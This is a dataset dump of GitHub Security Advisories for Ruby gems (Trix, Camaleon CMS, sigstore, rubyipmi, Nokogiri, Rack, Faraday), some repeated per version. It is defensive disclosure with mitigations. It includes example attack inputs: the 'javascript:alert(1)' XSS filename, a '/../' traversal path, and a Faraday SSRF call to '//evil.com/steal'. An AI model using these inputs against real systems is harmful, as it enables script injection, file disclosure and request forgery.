deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qmpg-8xg6-ph5q
Package: action_text-trix (RUBYGEMS)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.1.17
Patched in: 2.1.17

Summary: Trix has a Stored XSS vulnerability through serialized attributes

Details:
### Impact
The Trix editor, in versions prior to 2.1.17, is vulnerable to XSS attacks when a `data-trix-serialized-attributes` attribute bypasses the DOMPurify sanitizer.

An attacker could craft HTML containing a `data-trix-serialized-attributes` attribute with a malicious payload that, when the content is rendered, could execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

### Patches
Update Recommendation: Users should upgrade to Trix editor version 2.1.17 or later.

### References
The XSS vulnerability was responsibly reported by Hackerone researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma).
GitHub Security Advisory: GHSA-jw5g-f64p-6x78
Package: camaleon_cms (RUBYGEMS)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 2.4.5.0, <= 2.9.1
Patched in: unpatched

Summary: Camaleon CMS vulnerable to Path Traversal through AWS S3 uploader implementation

Details:
Camaleon CMS versions 2.4.5.0 through 2.9.1, prior to commit f54a77e, contain a path traversal vulnerability in the AWS S3 uploader implementation that allows authenticated users to read arbitrary files from the web server’s filesystem. The issue occurs in the download_private_file functionality when the application is configured to use the CamaleonCmsAwsUploader backend. Unlike the local uploader implementation, the AWS uploader does not validate file paths with valid_folder_path?, allowing directory traversal sequences to be supplied via the file parameter. As a result, any authenticated user, including low-privileged registered users, can access sensitive files such as /etc/passwd. This issue represents a bypass of the incomplete fix for CVE-2024-46987 and affects deployments using the AWS S3 storage backend.
GitHub Security Advisory: GHSA-mhg6-2q2v-9h2c
Package: sigstore (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-252: Unchecked Return Value
Vulnerable versions: < 0.2.3
Patched in: 0.2.3

Summary: sigstore-ruby verifier returns success for DSSE bundles with mismatched in-toto subject digest

Details:
### Summary

`Sigstore::Verifier#verify` does not propagate the `VerificationFailure` returned by `verify_in_toto` when the artifact digest does not match the digest in the in-toto attestation subject. As a result, verification of DSSE bundles containing in-toto statements returns `VerificationSuccess` regardless of whether the artifact matches the attested subject.

### Details

In `lib/sigstore/verifier.rb`, the verify method calls `verify_in_toto` (line 176) without capturing or checking its return value:

`verify_in_toto(input, in_toto)`

When `verify_in_toto` detects a digest mismatch, it returns a `VerificationFailure` object. Because the caller discards this return value, execution unconditionally falls through to return `VerificationSuccess`. This is the only verification sub-check in the method (out of 12) whose failure is not propagated.

The message_signature code path is not affected.

### Impact

An attacker who possesses a valid signed DSSE bundle containing an in-toto attestation for artifact A can present it as a valid attestation for a different artifact B. All other verification checks (DSSE envelope signature, certificate chain, Rekor inclusion, SCTs, policy) pass because they are independent of the artifact content. Only the in-toto subject digest check detects the mismatch, and its result is discarded.

This allows an attacker to bypass artifact-to-attestation binding for any consumer that relies on `Sigstore::Verifier#verify` to validate DSSE/in-toto bundles.

### Workarounds

None. Consumers cannot work around this without patching the library.
GitHub Security Advisory: GHSA-hfcp-477w-3wjw
Package: rubyipmi (RUBYGEMS)
Severity: HIGH (CVSS 8.3)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 0.13.0
Patched in: 0.13.0

Summary: rubyipmi is vulnerable to OS Command Injection through malicious usernames

Details:
A flaw was found in rubyipmi, a gem used in the Baseboard Management Controller (BMC) component of Red Hat Satellite. An authenticated attacker with host creation or update permissions could exploit this vulnerability by crafting a malicious username for the BMC interface. This could lead to remote code execution (RCE) on the system.
GitHub Security Advisory: GHSA-wx95-c6cv-8532
Package: nokogiri (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-252: Unchecked Return Value
Vulnerable versions: >= 1.5.1, < 1.19.1
Patched in: 1.19.1

Summary: Nokogiri does not check the return value from xmlC14NExecute

Details:
## Summary

Nokogiri's CRuby extension fails to check the return value from `xmlC14NExecute` in the method `Nokogiri::XML::Document#canonicalize` and `Nokogiri::XML::Node#canonicalize`. When canonicalization fails, an empty string is returned instead of raising an exception. This incorrect return value may allow downstream libraries to accept invalid or incomplete canonicalized XML, which has been demonstrated to enable signature validation bypass in SAML libraries.

JRuby is not affected, as the Java implementation correctly raises `RuntimeError` on canonicalization failure.

## Mitigation

Upgrade to Nokogiri `>= 1.19.1`.

## Severity

The maintainers have assessed this as **Medium** severity. Nokogiri itself is a parsing library without a clear security boundary related to canonicalization, so the direct impact is that a method returns incorrect data on invalid input. However, this behavior was exploited in practice to bypass SAML signature validation in downstream libraries (see References).

## Credit

This vulnerability was responsibly reported by HackerOne researcher `d4d`.
GitHub Security Advisory: GHSA-whrj-4476-wvmp
Package: rack (RUBYGEMS)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.2.0, < 3.2.5
Patched in: 3.2.5

Summary: Stored XSS in Rack::Directory via javascript: filenames rendered into anchor href

Details:
## Summary

`Rack::Directory` generates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with the `javascript:` scheme (e.g. `javascript:alert(1)`), the generated index includes an anchor whose `href` attribute is exactly `javascript:alert(1)`. Clicking this entry executes arbitrary JavaScript in the context of the hosting application.

This results in a client-side XSS condition in directory listings generated by `Rack::Directory`.

## Details

`Rack::Directory` renders directory entries using an HTML row template similar to:

```html
<a href='%s'>%s</a>
```

The `%s` placeholder is populated directly with the file’s basename. If the basename begins with `javascript:`, the resulting HTML contains an executable JavaScript URL:

```html
<a href='javascript:alert(1)'>javascript:alert(1)</a>
```

Because the value is inserted directly into the `href` attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.

## Impact

If `Rack::Directory` is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with `javascript:`.

When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).

## Mitigation

* Update to a patched version of Rack in which `Rack::Directory` prefixes generated anchors with a relative path indicator (e.g. `./filename`).
* Avoid exposing user-controlled directories via `Rack::Directory`.
* Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
* Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.

HackerOne profile:
https://hackerone.com/thesmartshadow

GitHub account owner:
Ali Firas (@thesmartshadow)
GitHub Security Advisory: GHSA-whrj-4476-wvmp
Package: rack (RUBYGEMS)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.0.0.beta1, < 3.1.20
Patched in: 3.1.20

Summary: Stored XSS in Rack::Directory via javascript: filenames rendered into anchor href

Details:
## Summary

`Rack::Directory` generates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with the `javascript:` scheme (e.g. `javascript:alert(1)`), the generated index includes an anchor whose `href` attribute is exactly `javascript:alert(1)`. Clicking this entry executes arbitrary JavaScript in the context of the hosting application.

This results in a client-side XSS condition in directory listings generated by `Rack::Directory`.

## Details

`Rack::Directory` renders directory entries using an HTML row template similar to:

```html
<a href='%s'>%s</a>
```

The `%s` placeholder is populated directly with the file’s basename. If the basename begins with `javascript:`, the resulting HTML contains an executable JavaScript URL:

```html
<a href='javascript:alert(1)'>javascript:alert(1)</a>
```

Because the value is inserted directly into the `href` attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.

## Impact

If `Rack::Directory` is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with `javascript:`.

When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).

## Mitigation

* Update to a patched version of Rack in which `Rack::Directory` prefixes generated anchors with a relative path indicator (e.g. `./filename`).
* Avoid exposing user-controlled directories via `Rack::Directory`.
* Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
* Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.

HackerOne profile:
https://hackerone.com/thesmartshadow

GitHub account owner:
Ali Firas (@thesmartshadow)
GitHub Security Advisory: GHSA-whrj-4476-wvmp
Package: rack (RUBYGEMS)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.2.22
Patched in: 2.2.22

Summary: Stored XSS in Rack::Directory via javascript: filenames rendered into anchor href

Details:
## Summary

`Rack::Directory` generates an HTML directory index where each file entry is rendered as a clickable link. If a file exists on disk whose basename begins with the `javascript:` scheme (e.g. `javascript:alert(1)`), the generated index includes an anchor whose `href` attribute is exactly `javascript:alert(1)`. Clicking this entry executes arbitrary JavaScript in the context of the hosting application.

This results in a client-side XSS condition in directory listings generated by `Rack::Directory`.

## Details

`Rack::Directory` renders directory entries using an HTML row template similar to:

```html
<a href='%s'>%s</a>
```

The `%s` placeholder is populated directly with the file’s basename. If the basename begins with `javascript:`, the resulting HTML contains an executable JavaScript URL:

```html
<a href='javascript:alert(1)'>javascript:alert(1)</a>
```

Because the value is inserted directly into the `href` attribute without scheme validation or normalization, browsers interpret it as a JavaScript URI. When a user clicks the link, the JavaScript executes in the origin of the Rack application.

## Impact

If `Rack::Directory` is used to expose filesystem contents over HTTP, an attacker who can create or upload files within that directory may introduce a malicious filename beginning with `javascript:`.

When a user visits the directory listing and clicks the entry, arbitrary JavaScript executes in the application's origin. Exploitation requires user interaction (clicking the malicious entry).

## Mitigation

* Update to a patched version of Rack in which `Rack::Directory` prefixes generated anchors with a relative path indicator (e.g. `./filename`).
* Avoid exposing user-controlled directories via `Rack::Directory`.
* Apply a strict Content Security Policy (CSP) to reduce impact of potential client-side execution issues.
* Where feasible, restrict or sanitize uploaded filenames to disallow dangerous URI scheme prefixes.

HackerOne profile:
https://hackerone.com/thesmartshadow

GitHub account owner:
Ali Firas (@thesmartshadow)
GitHub Security Advisory: GHSA-mxw3-3hh2-x2mh
Package: rack (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-548: Exposure of Information Through Directory Listing
Vulnerable versions: >= 3.2.0, < 3.2.5
Patched in: 3.2.5

Summary: Rack has a Directory Traversal via Rack:Directory

Details:
## Summary

`Rack::Directory`’s path check used a string prefix match on the expanded path. A request like `/../root_example/` can escape the configured root if the target path starts with the root string, allowing directory listing outside the intended root.

## Details

In `directory.rb`, `File.expand_path(File.join(root, path_info)).start_with?(root)` does not enforce a path boundary. If the server root is `/var/www/root`, a path like `/var/www/root_backup` passes the check because it shares the same prefix, so `Rack::Directory` will list that directory also. 

## Impact

Information disclosure via directory listing outside the configured root when `Rack::Directory` is exposed to untrusted clients and a directory shares the root prefix (e.g., `public2`, `www_backup`).

## Mitigation

* Update to a patched version of Rack that correctly checks the root prefix.
* Don't name directories with the same prefix as one which is exposed via `Rack::Directory`.
GitHub Security Advisory: GHSA-mxw3-3hh2-x2mh
Package: rack (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-548: Exposure of Information Through Directory Listing
Vulnerable versions: >= 3.0.0.beta1, < 3.1.20
Patched in: 3.1.20

Summary: Rack has a Directory Traversal via Rack:Directory

Details:
## Summary

`Rack::Directory`’s path check used a string prefix match on the expanded path. A request like `/../root_example/` can escape the configured root if the target path starts with the root string, allowing directory listing outside the intended root.

## Details

In `directory.rb`, `File.expand_path(File.join(root, path_info)).start_with?(root)` does not enforce a path boundary. If the server root is `/var/www/root`, a path like `/var/www/root_backup` passes the check because it shares the same prefix, so `Rack::Directory` will list that directory also. 

## Impact

Information disclosure via directory listing outside the configured root when `Rack::Directory` is exposed to untrusted clients and a directory shares the root prefix (e.g., `public2`, `www_backup`).

## Mitigation

* Update to a patched version of Rack that correctly checks the root prefix.
* Don't name directories with the same prefix as one which is exposed via `Rack::Directory`.
GitHub Security Advisory: GHSA-mxw3-3hh2-x2mh
Package: rack (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-548: Exposure of Information Through Directory Listing
Vulnerable versions: < 2.2.22
Patched in: 2.2.22

Summary: Rack has a Directory Traversal via Rack:Directory

Details:
## Summary

`Rack::Directory`’s path check used a string prefix match on the expanded path. A request like `/../root_example/` can escape the configured root if the target path starts with the root string, allowing directory listing outside the intended root.

## Details

In `directory.rb`, `File.expand_path(File.join(root, path_info)).start_with?(root)` does not enforce a path boundary. If the server root is `/var/www/root`, a path like `/var/www/root_backup` passes the check because it shares the same prefix, so `Rack::Directory` will list that directory also. 

## Impact

Information disclosure via directory listing outside the configured root when `Rack::Directory` is exposed to untrusted clients and a directory shares the root prefix (e.g., `public2`, `www_backup`).

## Mitigation

* Update to a patched version of Rack that correctly checks the root prefix.
* Don't name directories with the same prefix as one which is exposed via `Rack::Directory`.
GitHub Security Advisory: GHSA-33mh-2634-fwr2
Package: faraday (RUBYGEMS)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.0.0, <= 1.10.4
Patched in: 1.10.5

Summary: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Details:
### Impact

  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's
  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL's host/authority component.

  This means that if any application passes user-controlled input to Faraday's `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).

  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.

  **Example:**
  ```ruby
  conn = Faraday.new(url: 'https://api.internal.com')
  conn.get('//evil.com/steal')
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```

### Patches

  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

### Workarounds

  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**

  Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:

  - Reject or strip input that starts with // followed by a non-/ character
  - Use an allowlist of permitted path prefixes
  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

  Example validation:
  ```ruby
  def safe_path(user_input)
    raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
    user_input
  end
  ```
GitHub Security Advisory: GHSA-33mh-2634-fwr2
Package: faraday (RUBYGEMS)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 2.0.0, <= 2.14.0
Patched in: 2.14.1

Summary: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Details:
### Impact

  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's
  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL's host/authority component.

  This means that if any application passes user-controlled input to Faraday's `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).

  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.

  **Example:**
  ```ruby
  conn = Faraday.new(url: 'https://api.internal.com')
  conn.get('//evil.com/steal')
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```

### Patches

  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

### Workarounds

  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**

  Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:

  - Reject or strip input that starts with // followed by a non-/ character
  - Use an allowlist of permitted path prefixes
  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

  Example validation:
  ```ruby
  def safe_path(user_input)
    raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
    user_input
  end
  ```